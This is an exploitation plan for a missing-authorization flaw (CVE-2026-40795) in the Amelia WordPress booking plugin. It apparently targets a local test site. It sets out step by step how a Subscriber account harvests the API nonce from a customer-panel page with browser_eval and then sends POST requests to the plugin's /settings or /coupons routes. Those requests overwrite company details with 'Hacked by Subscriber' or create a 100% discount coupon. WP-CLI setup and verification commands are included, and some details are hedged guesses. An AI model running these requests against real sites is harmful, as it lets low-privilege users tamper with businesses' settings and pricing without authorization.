Exploitation Research Plan - CVE-2026-40795

1. Vulnerability Summary

The Booking for Appointments and Events Calendar – Amelia plugin (versions <= 2.2) suffers from a Missing Authorization vulnerability. The plugin implements a custom API routing system using the Slim framework, bootstrapped via the wp_ajax_wpamelia_api action.

While the plugin checks if a user is authenticated, it fails to perform adequate capability checks (e.g., current_user_can('manage_options')) on several administrative endpoints. This allows an authenticated attacker with low-level permissions (Subscriber) to perform actions intended for Administrators, such as modifying plugin settings, managing coupons, or altering company details.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpamelia_api
• Parameter: call (defines the internal Slim route)
• Method: POST (for state-changing actions)
• Preconditions: Authenticated as a Subscriber or any registered user.
• Vulnerable Routes: Internal routes like /settings, /company, or /coupons are accessible to any user who can provide a valid WordPress nonce and is logged in.

3. Code Flow

1. Entry Point: An AJAX request is sent to admin-ajax.php?action=wpamelia_api&call=/settings.
2. Bootstrap: ameliabooking.php catches the action via add_action('wp_ajax_wpamelia_api', array('AmeliaBooking\Plugin', 'wpAmeliaApiCall')).
3. Initialization: Plugin::wpAmeliaApiCall() is executed:

   public static function wpAmeliaApiCall() {
       $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php';
       $app = new App($container);
       Routes::routes($app, $container); // Registers all Slim routes
       $app->run();
       exit();
   }
   

4. Routing: The Slim App parses the call parameter.
5. Authorization Failure: The middleware or controller handling the /settings route verifies is_user_logged_in() but fails to verify if the WordPress user has the required Amelia administrative role or manage_options capability.

4. Nonce Acquisition Strategy

Amelia generates a nonce for its API and localizes it into the page source. To obtain a valid nonce as a Subscriber:

1. Identify Trigger: Amelia enqueues its API configuration when shortcodes like [ameliacustomerpanel] or [ameliabooking] are present.
2. Setup Page: Create a public page containing the Amelia Customer Panel shortcode.
3. Extraction:
   • Navigate to the page as the Subscriber.
   • Amelia localizes settings into a global JavaScript object, typically named wpAmeliaSettings or ameliaApiData.
   • Use browser_eval to extract the nonce: window.wpAmeliaSettings.nonce.

5. Exploitation Strategy

We will demonstrate the unauthorized action by modifying the Company Name in the Amelia settings.

Step 1: Create a Subscriber User

wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

Step 2: Setup Nonce Leakage Page

wp post create --post_type=page --post_title="Customer Panel" --post_status=publish --post_content='[ameliacustomerpanel]'

Step 3: Extract Nonce

1. Log in to WordPress as attacker.
2. Navigate to the "Customer Panel" page.
3. Execute:

   // JavaScript to run via browser_eval
   return window.wpAmeliaSettings.nonce;
   

Step 4: Perform Unauthorized Action (Change Company Name)

Send a POST request to the API to update the company settings.

• URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/settings
• Method: POST
• Headers:
  • Content-Type: application/json
  • Amelia-Nonce: [EXTRACTED_NONCE] (Amelia often expects the nonce in a header or as a parameter)
• Body:

{
    "company": {
        "name": "Hacked by Subscriber",
        "address": "1337 Exploit Way",
        "phone": "555-0199"
    }
}

Note: If the Amelia-Nonce header is not used, the nonce is passed as a query parameter &nonce=... or inside the JSON body.

6. Test Data Setup

1. Plugin Configuration: Ensure Amelia is activated.
2. Existing Settings: Configure a default company name via the Admin UI first: wp option update amelia_settings '{"company": {"name": "Original Company"}}' --format=json (Actual option structure may vary; verifying via wp option get amelia_settings is recommended).

7. Expected Results

• Response: The server should return a 200 OK or 201 Created with a JSON object confirming the update.
• Data Change: The amelia_settings option in the WordPress database will be updated with the new company name.
• Access Control Bypass: A Subscriber successfully performed an operation that should require manage_options or Amelia Admin privileges.

8. Verification Steps

1. Check Database:

   wp option get amelia_settings --format=json | jq .company.name
   

2. Expected Output: "Hacked by Subscriber"

9. Alternative Approaches

If /settings is protected by a more specific check, target the Coupons endpoint:

• Route: POST /coupons
• Payload:

{
    "code": "FREE100",
    "discount": 100,
    "type": "percentage",
    "limit": 1,
    "status": "visible"
}

If the attack requires the Amelia-Nonce header, ensure it is set. If the plugin uses a different localization key, use browser_eval("window") and search for keys containing "Amelia" or "nonce".